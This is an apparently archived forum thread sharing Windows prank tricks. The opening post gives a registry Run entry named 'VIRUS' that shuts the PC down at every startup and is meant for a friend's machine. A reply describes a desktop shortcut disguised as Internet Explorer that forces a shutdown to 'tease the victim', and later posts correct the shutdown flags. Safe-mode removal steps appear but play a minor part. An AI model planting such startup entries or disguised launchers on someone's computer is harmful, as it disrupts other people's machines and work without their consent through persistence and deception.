Shutdown PC when every time its starts

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How to do it



Shutdown your friend's pc when every time its restarts. Add the following registry key and that should do the job for you.

Code:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"VIRUS"="%windir%\\SYSTEM32\\SHUTDOWN.EXE -t 1 -c \"Howz this new Virus ha..??\" -f"
DONT PUT IT IN UR COMPUTER, I AM NOT RESPONSIBLE, if it happens, to you, start windows in safe mode, and open registry editor by typiing REGEDIT in start->run. navigate to
Code:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
and remove the string value named VIRUS, restart you computer.
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neo_vi's Avatar, Join Date: Feb 2008
Invasive contributor
can't we remove that from startup. Will it give time to establish the explorer or it'll shutdown instantly. Wat happens is safe mode?
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Bhullarz's Avatar
Skilled contributor
Nice Trick NDL ! I used the same thing but in different manner a long time ago.
Let me just share it with you all.

Just right click on desktop. Select "new" from menu and then select "shortcut". Now instead of browsing the file, just type the following code :
Code:
shutdown -t 1 -f
Now click on "next" and then name the file as "Internet Explorer" or whatever you want. And then click on "Finish". A new shortcut is created on the desktop. Now right click on the shortcut and select "properties" from the menu. You will find a button "Change icon". Now click on it and choose the icon whichever you want. If you have named the icon as "Internet Explorer" , just choose the icon of Internet Explorer. Now its ready to work. Whenever Anyone would try to start the Internet Explorer using this icon , the pc will be shutdown or will logoff ( in case of if you are using good anti virus). Before logging off / Shutdown, it will close all the opened applications.
I have tested this trick with only Windows XP SP2 only. It won't harm your pc anyway but can tease the victim.

For neo_vi, whenever you are starting up in safe mode, system will load only the basic drivers required to work the system properly. No other user-defined start ups or application controlled start ups will be loaded. So, you can start your system in safe mode and can remove the registry entry.
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NDL's Avatar, Join Date: Oct 2008
NDL
Contributor
Quote:
Originally Posted by neo_vi View Post
can't we remove that from startup. Will it give time to establish the explorer or it'll shutdown instantly. Wat happens is safe mode?
when u start with safe mode it only load basics
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NDL's Avatar, Join Date: Oct 2008
NDL
Contributor
Quote:
Originally Posted by Bhullarz View Post
Nice Trick NDL ! I used the same thing but in different manner a long time ago.
Let me just share it with you all.

Just right click on desktop. Select "new" from menu and then select "shortcut". Now instead of browsing the file, just type the following code :
Code:
shutdown -t 1 -f
Now click on "next" and then name the file as "Internet Explorer" or whatever you want. And then click on "Finish". A new shortcut is created on the desktop. Now right click on the shortcut and select "properties" from the menu. You will find a button "Change icon". Now click on it and choose the icon whichever you want. If you have named the icon as "Internet Explorer" , just choose the icon of Internet Explorer. Now its ready to work. Whenever Anyone would try to start the Internet Explorer using this icon , the pc will be shutdown or will logoff ( in case of if you are using good anti virus). Before logging off / Shutdown, it will close all the opened applications.
I have tested this trick with only Windows XP SP2 only. It won't harm your pc anyway but can tease the victim.

For neo_vi, whenever you are starting up in safe mode, system will load only the basic drivers required to work the system properly. No other user-defined start ups or application controlled start ups will be loaded. So, you can start your system in safe mode and can remove the registry entry.
nice one
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happyz's Avatar, Join Date: Nov 2008
Go4Expert Member
this isn't working as it is posted..... it is logging off the system rather than shutting down
I just tried it now
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neo_vi's Avatar, Join Date: Feb 2008
Invasive contributor
ya. i too tried. it only logs off the system.
try this
Code:
shutdown -s
or
shutdown -r
It will work fine.
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happyz's Avatar, Join Date: Nov 2008
Go4Expert Member
Quote:
Originally Posted by neo_vi View Post
ya. i too tried. it only logs off the system.
try this
Code:
shutdown -s
or
shutdown -r
It will work fine.
yes this will work now

shutdown -s will only shutdown now and shutdown -r will restart
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happyz's Avatar, Join Date: Nov 2008
Go4Expert Member
and one more thing i think you should also edit your post now either edit the quoted code or the title of the post
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NDL's Avatar, Join Date: Oct 2008
NDL
Contributor
Quote:
Originally Posted by happyz View Post
and one more thing i think you should also edit your post now either edit the quoted code or the title of the post
i dont have a edit option